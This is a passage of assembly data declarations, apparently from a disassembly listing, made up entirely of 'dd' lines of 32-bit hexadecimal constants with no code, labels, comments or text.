		dd 1E26CA94h, 0BC48B43Ah, 0F032A50Dh, 910FCF0Bh, 172761CFh
		dd 0EBB0140Bh, 818E0F57h, 0E9B34681h, 67C5617Eh, 0D9A3A7A9h
		dd 0E4EE297Eh, 0A33DBAF9h, 0C6E706F8h, 0F3C23089h, 3E886035h
		dd 0DEB31890h, 1316E4F2h, 0C692BE40h, 0D8B9FF34h, 2FD44FB2h
		dd 0A84434F8h, 42E18A14h, 8E04F658h, 0FC3161D8h, 239C2CBDh
		dd 0F8545E40h, 71841E86h, 0EAE5B434h, 0F254AA93h, 21304703h
		dd 8C696664h, 375418EDh, 0B3399E55h, 0EA2797F6h, 4F4F4584h
		dd 2A319D3Fh, 99FCFF64h, 16ABD85Ah, 920C0A68h, 2EAD6766h
		dd 5A4BE508h, 38842370h, 963A1519h, 2B150CC3h, 0F30F9FA6h
		dd 122F498Eh, 871AF7B8h, 0FEFF8B23h, 4EFF4B98h,	0C7C04D2Ah
		dd 83F682A2h, 53D93247h, 0D020F014h, 0FA42B470h, 7600F3DEh
		dd 0A64D0365h, 285F5E82h, 0A44286BAh, 368DEEF7h, 32071B18h
		dd 0B14E2847h, 3139EBEDh, 0A5466EF9h, 9A07ADF1h, 47F488EEh
		dd 6E9DBDEFh, 0B857E96Ch, 0B2DA4CECh, 818C43F9h, 121033Ch
		dd 0FC368B73h, 0E3F6D8AFh, 0EC8101EBh, 343BB2B6h, 0E4DFBBFBh
		dd 0E9AE824Ch, 6550643Dh, 0E70541F2h, 2F5C3784h, 57AE0124h
		dd 74D2A0BBh, 44ED2CB2h, 3D66297Ah, 0A4EE6526h,	5F6D972Bh
		dd 0DCB505F1h, 0DDC81B41h, 0CBC0A621h, 1FE4E48Dh, 94BFA590h
		dd 0E522D1F9h, 0E5802652h, 5084777Bh, 7CDB520h,	0B4064466h
		dd 666E6F20h, 929FB4DCh, 99579045h, 2846366Ch, 167F749h
		dd 0E86F47BCh, 0B822E99Dh, 0FF615BAh, 0E4C63741h, 1F897A9Ch
		dd 0E180F546h, 922FC635h, 0BA079DDFh, 120E5557h, 608A0CF9h
		dd 0CA3BEBA9h, 1F69DB11h, 0F5BBC6AFh, 0BA47BDB9h, 8C7992A9h
		dd 0CDCCC5B2h, 0C8982FAFh, 85DE6C10h, 0CD71DF5Dh, 0B9A6827Bh
		dd 4221C812h, 49B395AAh, 8B32BFF3h, 551F1702h, 36F8F41h
		dd 0D2FCC881h, 0E4B57BF5h, 4F37B1DDh, 1BCA177Fh, 24747D62h
		dd 0C9464467h, 799EFFE2h, 0BE1D258Ch, 602AC869h, 321C685Ch
		dd 4F3FFD76h, 28BB3A42h, 42F70D0Bh, 91C722A1h, 0B6BC4D06h
		dd 2A3624D2h, 0F8F82BAEh, 84231CD0h, 204FA21Ch,	0D16ACBB1h
		dd 97E3FD53h, 0F5DB5E52h, 1D87C42Fh, 53263608h,	0F129FFDh
		dd 0A1CD84E8h, 96952229h, 0BEEECC4Ah, 0D424AEA1h, 8C6AE9FCh
		dd 0E99A18F7h, 7DBC85A6h, 0C4CB2744h, 1E21876h,	22C4084Eh
		dd 79410930h, 5DF7B6BAh, 0D0B833CAh, 0ADDC2713h, 0E878BBC5h
		dd 59DAB913h, 0E60D4EABh, 48676942h, 7644FBCAh,	9DFB3C00h
		dd 731CAADEh, 866F5702h, 0C986BC37h, 0E4434B64h, 0A7E4D10Bh
		dd 75F82982h, 1850E21Eh, 245425B9h, 6CBF497Ch, 0CB0D8C3Fh
		dd 0B4C8F7A0h, 11E92C9Bh, 0F09BA4F9h, 84992976h, 0B8127B67h
		dd 0E4219C64h, 9A8063C0h, 731BFEAh, 0E8D89B16h,	1E827E43h
		dd 0C5BEEE08h, 0DC59886Ah, 0DFA27537h, 8A5F7DE8h, 8854BBB2h
		dd 91914C55h, 85039526h, 2F04BAD3h, 9570DC51h, 32597072h
		dd 201768DEh, 98FC60CCh, 0C3356101h, 2171444Ch,	364D28FAh
		dd 9F4C2B31h, 0CC3BA2B7h, 0A3BBBA8Ah, 42511E9Dh, 88E56CADh
		dd 9B11F3C8h, 8341B33Bh, 439F6537h, 0E64D5E07h,	790B1B98h
		dd 0C24B4390h, 0BCA5B0FEh, 0F32E3E54h, 0E61A4C0Ch, 5C5BAC1Ah
		dd 0AD363C43h, 3C27BE55h, 5C6A2204h, 0DE946B63h, 0E468FF2h
		dd 0BEA342FAh, 0EE8BEF28h, 7CE212AFh, 9B3E5BA9h, 0A33C23ACh
		dd 8139ED9Bh, 67D4D0EEh, 1CEAEC9Ch, 2FD33F18h, 2DCAF60h
		dd 36BA7A36h, 3BC57112h, 0DDC694AAh, 1454FE76h,	3DA21401h
		dd 87F37AA0h, 0C32BF4F3h, 90121652h, 79134B0Ah,	415686F1h
		dd 5B2D7E91h, 8EFB8294h, 5955C2A5h, 43B16E9Bh, 0FEE98826h
		dd 0DDF1BB0Ch, 64789FDFh, 4FDB30CCh, 500F57D0h,	0E1CAA538h
		dd 99AD684Ch, 0E4761E27h, 83CBB00Eh, 378B7047h,	79219256h
		dd 45B3D97Ch, 63C6DBE1h, 0E8C70B5h, 36F487C4h, 3B80F1EDh
		dd 0B114B8F1h, 0E73BE82h, 3F41BB7Ah, 27692ED9h,	3D1303F9h
		dd 90BE55B4h, 46F89D5Dh, 8A373047h, 366B3959h, 5103E855h
		dd 311833FBh, 0DE73F2B2h, 76306311h, 95C39526h,	0E47496F0h
		dd 84F191C7h, 0A5723181h
		dd 0E22CAB5h, 0F1979F1h, 92E642B2h, 139ABC3Bh, 211E757Fh
		dd 7C963242h, 89EADD0Bh, 33F946DCh, 7677352Eh, 0DAC5ED9Eh
		dd 0C1CA0B32h, 0B12FAFBAh, 0F413D89Ch, 70A0C21Bh, 6F7720C6h
		dd 0BABD2525h, 5824BAE5h, 0CA3C685Ah, 47F8A4ECh, 64B40492h
		dd 775D411Fh, 9543CF5Bh, 59E62198h, 3166F455h, 89E5C466h
		dd 0B269042Ah, 0BA914B1Bh, 0A4EDC38Dh, 24701E5Bh, 0BEE0B74h
		dd 0C859AF3Fh, 3DC6A662h, 215772A2h, 0AEBA63C0h, 6143C0B2h
		dd 3F64F784h, 9B47DD3Bh, 4001F8C6h, 7EF7EA41h, 879398C7h
		dd 51AFFE18h, 0E2309217h, 27EB8123h, 21F5FE25h,	0D1CEEE51h
		dd 0DC4C104Fh, 0FF62AD8Fh, 0D629E3C6h, 0FFCFBECCh, 0FB5F98A9h
		dd 5DE464BEh, 0E0483AEDh, 0A299BEF8h, 6EA21F5h,	9524175Dh
		dd 0AB3F74FDh, 31D76ADEh, 0FD0ABEA5h, 0E67949C2h, 807E044Eh
		dd 0FB96B8h, 0DC4C7884h, 69B10F1h, 5F95CA7Dh, 1E952D00h
		dd 0B3B22169h, 0C055E3C6h, 189C6386h, 0CE1C6163h, 14266044h
		dd 0C2845501h, 9275351Ah, 1A742219h, 8A1B3E1Ah,	0DF7207B2h
		dd 4C6823FCh, 5BAFE5A7h, 40EA5ED2h, 96D6066Dh, 0CA451556h
		dd 7DEC3472h, 11784ABAh, 2DF3E15Eh, 0EC0CC504h,	0EB4B1B9Ah
		dd 0BBD68E08h, 0FA8D598Fh, 68FE3D9Ah, 74301524h, 148BE269h
		dd 0A736EC03h, 0F5AD0474h, 5AC899B4h, 1DBECEEDh, 3203DCC2h
		dd 2150EB50h, 24367CA6h, 6589FF39h, 0E23230D6h,	0B934D627h
		dd 3BDFC58h, 327D6B83h,	89013101h, 0DBBD0316h, 87AD08BEh
		dd 0D757BA99h, 80CA0A2Ch, 4BFC5A06h, 5621E678h,	0A22A619Eh
		dd 12C69699h, 0E48E120Bh, 242C13FEh, 14D716CCh,	0E5B9CB54h
		dd 0F7BB27DAh, 468D8485h, 0F74D9DDAh, 785B1BB5h, 374CA79Bh
		dd 0CDE01C42h, 0E98EECDAh, 0FB054D20h, 7A1CC764h, 0AD63B315h
		dd 62E851B2h, 1D89DDECh, 92F5DEAh, 39E18387h, 0E38E3B45h
		dd 0CDFA4EFBh, 2BF6CA9Ah, 1374C623h, 0ABFA077Dh, 0D961346Fh
		dd 25BEDE7Bh, 7366451Fh, 57E52ED7h, 63EADC9Dh, 49818356h
		dd 0D59AD9F6h, 0DCF9BD4Ah, 0BEA3D826h, 6DED5C0Ch, 0D4A21308h
		dd 0B12A9768h, 1F288FE3h, 5BEF93A6h, 0A2C5CA43h, 7D6AF0C7h
		dd 220A6E96h, 7F49A67Fh, 8BB1BE4h, 685B17E8h, 14C18CD3h
		dd 0EF179714h, 0EE466BC2h, 1086C4C5h, 0A7B83680h, 6B0F87C9h
		dd 0A72279A8h, 0BBEDC902h, 7E88BA15h, 0DC9983E9h, 4F09E9F3h
		dd 8E3F0DDBh, 0DC8989CBh, 8174F296h, 0B09ED80Bh, 0E0B02BDh
		dd 0CB28602Ch, 84159B0Bh, 1D3C5D52h, 0C11F7C77h, 551F5399h
		dd 613E77F1h, 0A82AA726h, 6616C15h, 8CB03A10h, 0CD841717h
		dd 0D51A1FDCh, 0EF11CB36h, 2282E0B4h, 0AC1739D3h, 0E3FFA8F1h
		dd 40617C2Eh, 0EF83EF7Ch, 8D738390h, 0DB568CBh,	6996F5FBh
		dd 0A7B96BAFh, 508EB859h, 3879A503h, 7B51796Fh,	15B822Ah
		dd 0B9AC6791h, 0C7E03307h, 7BF35004h, 0AF7AF244h, 0AF3C4E6Eh
		dd 47F73E57h, 217499B3h, 1CC0F57Ah, 0EC18DCD9h,	45D5D331h
		dd 8C69F284h, 0DACA1F12h, 5FF79366h, 0BC41AC9Eh, 5437AC7Bh
		dd 0B8118356h, 0C61BB6EAh, 154586F0h, 0AC071154h, 7B8AB877h
		dd 7AF74A5Bh, 9C8442B6h, 0A50490F2h, 0C36C865Ch, 0DE30208Dh
		dd 58955395h, 9E751166h, 10617CB8h, 4BE837DEh, 17A1623h
		dd 1298F8FBh, 164B92A8h, 26DCCE88h, 46CF8667h, 0C17F1726h
		dd 3BBE28BAh, 4157700Ah, 0DE0C744Fh, 13CD494Dh,	0ED037E1Bh
		dd 32F77FD5h, 9C0E3D7Dh, 4AF9AABAh, 2B1923A9h, 0CF87E8FDh
		dd 241234D7h, 8991F440h, 0EF9BFCFEh, 0CABC9D8Dh, 66750C4h
		dd 0F5CBCB4h, 0A28E424Bh, 38CB9B83h, 0BFC088A5h, 67DC9A33h
		dd 6FCB29D4h, 0A9946EBFh, 3CF2DE4Fh, 0F7CDC91Bh, 46B37425h
		dd 3BB04C48h, 5782DB81h, 0F95FEBCCh, 1B94898Dh,	0E89AC90Bh
		dd 1ECD0F77h, 504199A3h, 22752F4Eh, 0A7BA835Dh,	91DA7817h
		dd 6C3A8829h, 778220CCh, 19BBB830h, 863EAF73h, 0C50111ADh
		dd 70AD5C4Fh, 6412DF5Fh, 364C5FC9h, 85118035h, 0A79CB638h
		dd 0B9A7446Dh, 0ED010EABh, 861642C7h, 8B95EA2Dh, 21B3A19Dh
		dd 0F4A184h, 2F5E1E59h,	9537DF0h, 961DE429h, 45F04375h
		dd 7E157FBDh, 1885D64h,	0A394A924h, 707744E2h, 9CD02A06h
		dd 0BEE5F52Dh, 0BF719F4h, 78692EB1h, 0F2EB015Bh, 0E9716DCEh
		dd 88128C13h, 3F2CBD02h, 639B4C8Bh, 0BFCE2836h,	0F92B0328h
		dd 3940FBAh, 0CD727A9Fh, 0D6A20871h, 0A91DC705h, 67A05078h
		dd 76ACE3F3h, 0BA752C2Bh, 9A76E557h, 0EE9FAE9Fh, 0BF4FAE48h
		dd 0AB167F08h, 64790E57h, 6029C469h, 8A8A57F6h,	0C08A937Ch
		dd 0A5AB5917h, 0D89E9BA0h, 0D4179A8h, 0CB25FCF4h, 3A340DF9h
		dd 8F3B3C48h, 32750935h, 26A3263h, 0E3B97CFCh, 5945421h
		dd 0DD13A7CBh, 7ADE9A12h, 8E86D96Eh, 7818DA4Bh,	3A969C11h
		dd 90CD2648h, 143B3D1Ah, 0D6B85B15h, 9031B20Ch,	8FAAA06Fh
		dd 0D045B299h, 89B0D4F4h, 0D31226Fh, 355F2E42h,	0AF4EBE57h
		dd 833D7ACCh, 0E2606E18h, 3BD2327Ah, 7708E745h,	9F47FBA9h
		dd 4D368DA4h, 0BAC4BB64h, 2575897Ch, 0FB35CF33h, 74C05436h
		dd 72C521E3h, 0CA01F5CBh, 0F76ED968h, 0CA406D12h, 5611F176h
		dd 3B29F241h, 18B52948h, 0D7E51EF8h, 0DBB19CC4h, 0EBEE235Fh
		dd 3B380E7h, 0CF73D665h, 376F2A5Dh, 26A14114h, 4DA97911h
		dd 362A13FDh, 27B04534h, 0ECA2C3B8h, 3DF12FA5h,	0EDBB8890h
		dd 0BA8D002h, 1F2F5FA3h, 4D17A0ADh, 0F47B8A63h,	9162CC5Fh
		dd 9DEDE7E1h, 0D609EE80h, 3FF7B354h, 4A042651h,	0EB310ED5h
		dd 35EE9A0Bh, 3F596472h, 0E46A1F1Dh, 0BC184BF9h, 0DAA1137Bh
		dd 126A62C0h, 9215B29Eh, 0C3B5E5D7h, 9B70D7CBh,	0AAE5C9F8h
		dd 47671861h, 0A350A7DCh, 6336BB1Ch, 0BD5FA1D6h, 6DC9FC48h
		dd 728DC52Ah, 0C8E40045h, 5F5CDB39h, 0B977C68h,	0AF1B884Ah
		dd 6B69EB91h, 10DC15Ch,	9881B54Dh, 95BF7801h, 5273683Eh
		dd 0BC8888CAh, 3B49EE54h, 0C737A10Eh, 0B94F6D24h, 0ED26A5C0h
		dd 73E105EDh, 0D234EB26h, 0D911AFFDh, 166F4ED1h, 1A730068h
		dd 9DD76EC9h, 64BAD4BBh, 0AF096670h, 0CC2456ABh, 0AA95E780h
		dd 0D2D43CEh, 41E940EDh, 0CE53EF74h, 7D8144C9h,	0E005C722h
		dd 952CC098h, 5F77BED2h, 0CCAF0C71h, 55EA2448h,	0F6E78F00h
		dd 0D2273DE0h, 426117A8h, 0C90E316Fh, 2BB7CF3Ah, 0CDC3BC14h
		dd 0ECD068F5h, 0F1972761h, 0A90634B3h, 2E50AC53h, 30794512h
		dd 0DE786DACh, 66598ED8h, 0FD5F8960h, 2673DA14h, 0E6318EBh
		dd 0AA202D41h, 6CDFD3E7h, 0FA6CBF4h, 647D3BD1h,	38A63BD5h
		dd 9EFF2A54h, 96E288E2h, 0BC5774AEh, 5F94171Bh,	60EB7815h
		dd 0D82841E8h, 1AA4A4FBh, 6F135966h, 0B1FD9E65h, 836F306Ch
		dd 0CE156EF3h, 28531076h, 1570479Ah, 0CE6AD99Eh, 0D8C9BACBh
		dd 918E10FFh, 0D7D21CBEh, 0EF412211h, 40C0ACE6h, 3EFF28EEh
		dd 8D6ADEFh, 0ADB1E948h, 4DE28405h, 409B1C6Ah, 0F4A322BFh
		dd 0B87C5565h, 572C7E51h, 0E17964E1h, 9786D792h, 7D6D0932h
		dd 0A9626770h, 0DD9C60A6h, 3D911610h, 5AD377AEh, 7A86E768h
		dd 834C9F3Ah, 0BADBB334h, 0B04DFBF7h, 0FBD87DB2h, 0EDE9EC01h
		dd 0F9A493C6h, 7CEA9406h, 0D9CEC16Bh, 7258B049h, 84240073h
		dd 0B458E649h, 287D4C12h, 0E181D4Dh, 32E64A90h,	49532744h
		dd 49BD3AB3h, 0CB67B3B9h, 0DAA3B04Fh, 0D0926457h, 0A07F624Dh
		dd 0D22D3737h, 6817F57Ah, 5F20816h, 6C340D28h, 0FA776CE7h
		dd 43DB196Bh, 6F6B2A9Ch
		dd 54519BBEh, 0EDE03D17h, 99808572h, 0C15267FDh, 593ECDECh
		dd 0DB27EC93h, 5F5E6669h, 49234717h, 402E3098h,	0F2207FD4h
		dd 0AB8B221h, 921F38E4h, 6B51EE35h, 0AA6AD329h,	0CFA29B4h
		dd 0CD90C6Ch, 0AD7FF435h, 5910CA4Fh, 1EB198DEh,	96C935BFh
		dd 2C1AC5E2h, 0CD9D8FDCh, 0C9CD32A9h, 4077601Dh, 0E529E814h
		dd 8647A8B1h, 690324D3h, 0CD71B195h, 0AF99B3EEh, 25BF5E65h
		dd 0CD00AA4Dh, 126EABEEh, 7A96D41Ah, 3AF2EBB0h,	0C82901DFh
		dd 0F4C351CBh, 7D33B602h, 0DDDF68D6h, 990E701Ah, 1DC5865Ah
		dd 532ECE1Ah, 8C0580B0h, 63BBEA34h, 98346870h, 2690F8D0h
		dd 103B8D15h, 62C682F6h, 854FEFF1h, 9B331E3Fh, 0E758D752h
		dd 523B7143h, 31757330h, 0C46819AAh, 0B47CFC2Dh, 0E7335FD9h
		dd 0C9C249EDh, 6D74073Dh, 0ECD91345h, 6FFCB2F5h, 8995C029h
		dd 1DDEF08Eh, 518985AFh, 0FCC9E6ACh, 0DFC927CEh, 76C894AFh
		dd 8106186Eh, 8BAB9CC6h, 8538F09Eh, 0E90CA781h,	1DA0A5C1h
		dd 0ED804203h, 115B9968h, 4414E415h, 8760B480h,	68453028h
		dd 0D055D162h, 969C98Dh, 0BF0B081Eh, 3A3C58E9h,	2301C1EAh
		dd 0C14CCE75h, 0ACA9FC9h, 0ED5446D4h, 225E2CFDh, 0B83C16C3h
		dd 6A5C1935h, 80E59B89h, 678F2404h, 0C0AD08C9h,	0AB6E2E52h
		dd 9A4E1F1Bh, 0AE451774h, 7534F736h, 0BD8DC0EAh, 3E0EB2C0h
		dd 870A26BBh, 1798D883h, 0C1ADFEA6h, 43F676B4h,	69842751h
		dd 23449611h, 5D92C55Eh, 0A78047E0h, 8E1808BBh,	0F06A01D5h
		dd 9D0C60Ah, 3DAB9967h,	5DDCD8A9h, 4B7114A6h, 69339377h
		dd 0DC5D18B3h, 31E3448Dh, 68EED3BFh, 3AD2CE2Dh,	7F01497Ah
		dd 62D524C7h, 699A79A3h, 66379AC0h, 5D0F395Bh, 0BA3D538Ch
		dd 3DEA618Ah, 8863C537h, 0C493EADEh, 3C152374h,	3F25373Ch
		dd 106CA04Ah, 0B078C146h, 0E5430952h, 15B0ED5Dh, 0DF858518h
		dd 73DA5F57h, 2B2C6EE4h, 889BB0ABh, 0F6A3D7FCh,	12C0100Eh
		dd 0F0D55DF3h, 88F3D389h, 41D5E944h, 9FDD5D44h,	0C591BF52h
		dd 30323C59h, 0A25BC5AFh, 9932C485h, 76606EBEh,	0C56A63F5h
		dd 72AA1ED9h, 0E7799064h, 0E6298C37h, 0BD1C7B8h, 5A7FBA49h
		dd 763448EEh, 0ABCC4B8Dh, 151D226Eh, 6797BF51h,	3E109C6Bh
		dd 449125E7h, 0CF0CBC1Fh, 74292A7Bh, 0A61F0313h, 66D953F7h
		dd 2DB1C520h, 573BF338h, 353D962h, 3AB2A4B7h, 768058EDh
		dd 78B15EC3h, 474D9C6Dh, 2BA4B02Fh, 80179647h, 0A882DF8Ah
		dd 667A2D43h, 0A480B781h, 3E8CC8BBh, 9DB2F5EEh,	8F3F1BA2h
		dd 25794F1Fh, 8CF2159Fh, 14900747h, 19F9DA0Eh, 0FDE883B5h
		dd 7F759FB2h, 0A29F8FAAh, 679EB2A9h, 0E14F9D63h, 3EECAEF9h
		dd 2786EC77h, 0F2BF7D9h, 49306695h, 0F9F8C60Bh,	0E8C125FFh
		dd 0BCF9EA5Bh, 0AA8E4F45h, 8EABE63h, 124C8724h,	101010A3h
		dd 0B6E6484h, 3A255CB4h, 0FECBC94Fh, 30C513BBh,	61E6A392h
		dd 0B545944Fh, 0EE57F7Ch, 25E5BEEBh, 1DB47F1h, 587D40C6h
		dd 0B9A6F58Ah, 0B6BB6D06h, 673A7527h, 30D46044h, 0D92D4A66h
		dd 0F116B436h, 9EA7D420h, 0BDC2F555h, 1253F661h, 23333595h
		dd 29104587h, 6B33F44Eh, 0A357ED94h, 0FF13B96Dh, 7CEC8038h
		dd 96C4D95Bh, 0CDD047DAh, 0FCB2C765h, 0C56FD3CEh, 0E7EF2139h
		dd 82C4810Ah, 3944BD0Eh, 18BC5D6Ch, 0CA3F3C55h,	1602919Eh
		dd 0BDFD9EB4h, 0FE78688Fh, 72234B80h, 315FB77h,	35F6BECFh
		dd 54492CE3h, 0DA547987h, 31A96C89h, 44B1C41Bh,	0FF234DA7h
		dd 0B2D7885Dh, 0B0AF49D7h, 0D3AE6360h, 0A66AAB00h, 1014B2B3h
		dd 0C22FD8F6h, 3C24F836h, 185C2CA7h, 751E754Dh,	94880757h
		dd 0DF1E89EFh, 0F4188F21h, 0B07B95B8h, 4735AE84h, 5FBB2777h
		dd 94B2E0FFh, 164DBF7Ah, 37690721h, 0A40B4D20h,	0E66F0686h
		dd 82FA0BC9h, 0AFF52ED6h, 232D014Ah, 98ED17Ah, 3903B273h
		dd 43F670F5h, 72D6ED0Fh, 7D0B8F88h, 57240F49h, 0F52277ABh
		dd 0B0633389h, 20D60D1Ah, 5EADAEAEh, 0E99E5119h, 17DFF417h
		dd 0E88EB232h, 3CDE532Dh, 79CC0ACh, 0EED9A409h,	0E5A69B4Bh
		dd 59FCC307h, 8F15E3Ah,	7FEB494Eh, 938B4E9Fh, 40E7F511h
		dd 7FED134Ah, 0C5DD0A74h, 361C2879h, 7140E849h,	3D4092D7h
		dd 0A018F4B7h, 0BFD31C69h, 0BF44F7h, 931F5EDh, 0B37069h
		dd 0D7F53ED6h, 0A933829Ch, 83F2E04Dh, 1EDE0B07h, 0B7417601h
		dd 307F6E55h, 9D30AB2Eh, 0AA369050h, 8BEDCD62h,	91CC7AE7h
		dd 7721CFAEh, 0BA1F9026h, 65AC8F8Ah, 0A7607A3Fh, 0CDCE784Bh
		dd 0BC2E31D8h, 1EA36793h, 8AB255BCh, 0C26B89C3h, 37C9AA63h
		dd 40BF5D7Fh, 0C4EDD477h, 7CB7FD02h, 52B776C0h,	0A5B5CF4Ah
		dd 0CD83B311h, 9E12C1CCh, 0F2AA4A0Eh, 0D79F4174h, 1C12B4EDh
		dd 978EC8EBh, 9DD8AAC5h, 539E0A79h, 2E043305h, 570840C8h
		dd 6711E272h, 498E957Eh, 7357126Eh, 0C4608995h,	3D75A437h
		dd 6F6F0416h, 4405D880h, 0A49FC135h, 2B41F090h,	750D8029h
		dd 68BE54F7h, 0F5B33730h, 0B3CA30B6h, 0EE9CD8BAh, 30970287h
		dd 0EC613ADFh, 51743032h, 3D515474h, 0A279541Fh, 3F2DE6E5h
		dd 40AB8E87h, 6B4F38FEh, 845C8705h, 0E396A6C7h,	7A1DAD56h
		dd 87F7704Eh, 71A4ED68h, 6F6A2330h, 0EDB7519Ah,	65B8DAD9h
		dd 84903EA5h, 41624D79h, 0CA58D1C3h, 0BDBB6097h, 0BF86A598h
		dd 617B3DF2h, 6827F1DDh, 7B80E486h, 84624D18h, 5AD4324Ah
		dd 17D50A07h, 62BE9B49h, 69950592h, 654E607Ch, 417AB0E9h
		dd 0FC5F3796h, 0B52F510Dh, 34F5C849h, 9A013270h, 0A6585AFh
		dd 7A678BA4h, 0D5ABDC25h, 0E09BFD4Fh, 0D516FBD0h, 0E8016E3Fh
		dd 0BCB8C0A4h, 443CE351h, 0A1A34136h, 0DDA196E5h, 0FA80A27Eh
		dd 0CD6840h, 284FC65h, 0CF44E8BAh, 3DDA1D2Dh, 67E29CF7h
		dd 588FCE90h, 8F63C47Ch, 0C6ED154Bh, 3D35BCDBh,	0B50D21B9h
		dd 2273F906h, 0BE02F58Eh, 0B55E770Ch, 0E3648BEBh, 0FBE7EC2Ch
		dd 4A8042h, 1D07AFD1h, 7D4C03EDh, 0A5FB5EDBh, 0C6ECE743h
		dd 8A176E3Dh, 0FBB0FFF1h, 891BCE55h, 0D9192773h, 41D6D30Fh
		dd 81CDB7FFh, 28E81756h, 4BBCAE8Bh, 41F33BACh, 373BAD77h
		dd 21532804h, 640ECDEBh, 0C876E497h, 0A5E71ABEh, 0D00F1B2Ah
		dd 1D3842CFh, 1B5E7E07h, 0EC8A6791h, 67D55D40h,	5F7A4F63h
		dd 0C3C6D237h, 0D74E48F8h, 69C98B6Dh, 5AC4C89Eh, 4DB4216h
		dd 5AFBAA21h, 21B3B0D4h, 0B456AE43h, 77DF23C9h,	9E37B11Ch
		dd 1086ED9h, 8BF061DDh,	9FCECD50h, 4510F8F3h, 185B34F5h
		dd 0EF58FD8Eh, 0CFA33AB2h, 9716FCD1h, 5018F7BAh, 0F98002DDh
		dd 4F69C5B5h, 0B66E448Bh, 34A6DD1h, 5455CD4Ah, 0A69C2981h
		dd 66FAC623h, 9332C7DCh, 0A8713E53h, 0B0D75BADh, 2F34182Ah
		dd 0F63FC62Ah, 0D08E7BA0h, 0AAE4F861h, 0AC3E26F0h, 95F0F9DDh
		dd 22B2AA1Dh, 9E2E4012h, 10FB8B3Bh, 50BB88Eh, 0C3D06FDDh
		dd 85AD699Eh, 6BE473F5h, 8A288771h, 3AE3FCB7h, 77B01Bh
		dd 14A49C45h, 42259BA1h, 6701CEDDh, 205FEC63h, 9D95900Eh
		dd 0D20229EBh, 536248CEh, 0CC46688Ah, 0F0D873ABh, 0D91383E6h
		dd 0AD3DA1h, 0DEA565D4h, 24B16A97h, 80E7F49Bh, 0FA55BB10h
		dd 0B4E93B6Ch, 0EE614C48h, 0AD6A6601h, 791D4528h, 7849EACBh
		dd 4856D992h, 0BF7986A8h, 7BE4BDE0h, 0BA433AFEh, 0DC86FDCh
		dd 5A0EE73Eh, 832211Ch,	6554BDA3h, 1C50D0ABh, 0C12D4A74h
		dd 0BA1ACDA4h, 0D2093E43h, 136A1569h, 0D2BAF4B9h, 97142558h
		dd 95DDE4FFh, 64DB21DBh
		dd 0B2CA315Fh, 0E3084339h, 0B60A3F5Fh, 0F0FD3B3Eh, 804E3E41h
		dd 941CDDAAh, 0E51C0D1Bh, 3E081FD8h, 0A78DF392h, 0D022A47Dh
		dd 4F242EE7h, 853661E1h, 51906CA3h, 6294A8ABh, 0E14ACDC3h
		dd 91A8E428h, 0B34657A8h, 47AACE87h, 1F0329FDh,	0E4C9316Fh
		dd 722A9A50h, 89E769C0h, 6E1E9FDCh, 13EF5310h, 0D264D785h
		dd 8B892675h, 8F56D2B5h, 3009D4DAh, 4CC24715h, 0FC6939A0h
		dd 0E2B2E460h, 0D4632DF8h, 3CC30319h, 0AC04F5A7h, 2DC7A056h
		dd 0BB92703Eh, 0CD61E5Bh, 0A5CC22BFh, 2DFA2E9Ah, 5ED49170h
		dd 0D1A9642Eh, 6BF0E83Fh, 0B38269FFh, 6D970355h, 48C3DC62h
		dd 0ABE95050h, 9350A3D8h, 4BDE3CB5h, 685505E8h,	472DFB4Fh
		dd 4216B4A6h, 95CF7366h, 6A976579h, 568DBAF7h, 0B24C6A6Eh
		dd 0E57D28EBh, 95135BDFh, 682F901Dh, 0E0DEF0E6h, 26949366h
		dd 481EC756h, 78AE888Ah, 0E725000Bh, 43CE12Eh, 74129B9Bh
		dd 52BE3ACFh, 6779CA16h, 0F2557CA6h, 69D4A4A1h,	0FA41DF9h
		dd 787D130h, 7482D482h,	2574F300h, 0FBC1CCF9h, 0CC6EE22Eh
		dd 0D930409Bh, 195FF5C5h, 0EF355616h, 0B23EB3Fh, 0E98D924h
		dd 1AFDE4F8h, 0B38154Ah, 6C07AB40h, 4A7E7B8Fh, 0BBF005CDh
		dd 5B10928Bh, 6FCE77A9h, 8BDAA6A1h, 0A5D1EE93h,	0F7E04C27h
		dd 299D14D5h, 2828B190h, 2D029416h, 0CB02CC27h,	93D3DBEDh
		dd 81514384h, 0D5836F6Ah, 3C24BD42h, 4A9832C1h,	0C8E9A149h
		dd 37F26B4Ah, 978851EBh, 6D10107Bh, 9AC859F2h, 88626115h
		dd 0A28D6332h, 65E0853Bh, 58B94818h, 37558F3Ah,	3CF8B9B4h
		dd 7C6FC6E9h, 764A035Fh, 84D9984h, 7A564D0Eh, 0AF7F2F63h
		dd 5400C197h, 2A3B0C4Ch, 2A4EF325h, 0FF6566AEh,	9253C20Dh
		dd 4AADE006h, 0A4381FC0h, 92A23113h, 9FCD1554h,	4C888BB0h
		dd 0CDC7976Bh, 0BDE027E4h, 175DA980h, 6B2A5994h, 0DFB87E74h
		dd 1C693261h, 2C7BA37Ch, 7D3C5BFFh, 0D3809059h,	17E95232h
		dd 4261319Bh, 0C1359385h, 0EC45AF49h, 0F0192395h, 8E3715F1h
		dd 3C5BD56Ch, 0DE246551h, 478F19C1h, 4838A02h, 0C6763E7h
		dd 0A76638D8h, 559F1E3Ch, 2ABE4059h, 4ABD39C7h,	4A27217h
		dd 0B194A282h, 7DAF0CF6h, 0D468E525h, 733BC700h, 604E092Bh
		dd 0FAF4F30Bh, 3DB9360Fh, 45FE30C7h, 5D08113Dh,	122F66E1h
		dd 0F3880320h, 62ED9A7Ch, 0F2473A89h, 2143374Bh, 0D24418EBh
		dd 7F251B85h, 454E828Ah, 38EC54E0h, 2A835722h, 0FEE7AF2Dh
		dd 414A55D1h, 5C681D09h, 888C751Bh, 2BED8BAAh, 73D0B4FAh
		dd 637C076Fh, 96B39AC3h, 0E0FFBB12h, 0C107472Bh, 4D0544A1h
		dd 3B1C5FCEh, 0D4591C66h, 0C5EDE08h, 0A3A8441Bh, 2F5AF6D9h
		dd 0CD2F2F1Eh, 0B3611D9h, 0EA1EA0FDh, 4E0E16A4h, 0B41DE4Bh
		dd 0F4DD4B0Dh, 4F8EC064h, 68B0B9F0h, 740DFE4Fh,	8BCAFF26h
		dd 5F680BC9h, 7AA51DEEh, 81944E24h, 0D3DA41BAh,	340B7528h
		dd 0E7C14F07h, 129054DCh, 49AC33A6h, 0DCCD67EEh, 899F8225h
		dd 0D25C86A3h, 0B115D8E1h, 2668697Bh, 21C50130h, 0ED07C493h
		dd 17F8CBC3h, 0D16C0604h, 0EA5603F6h, 6349F161h, 5F1BE225h
		dd 1FB4F04Fh, 0F543A88Eh, 121E49AEh, 864A3BCBh,	0AADB4936h
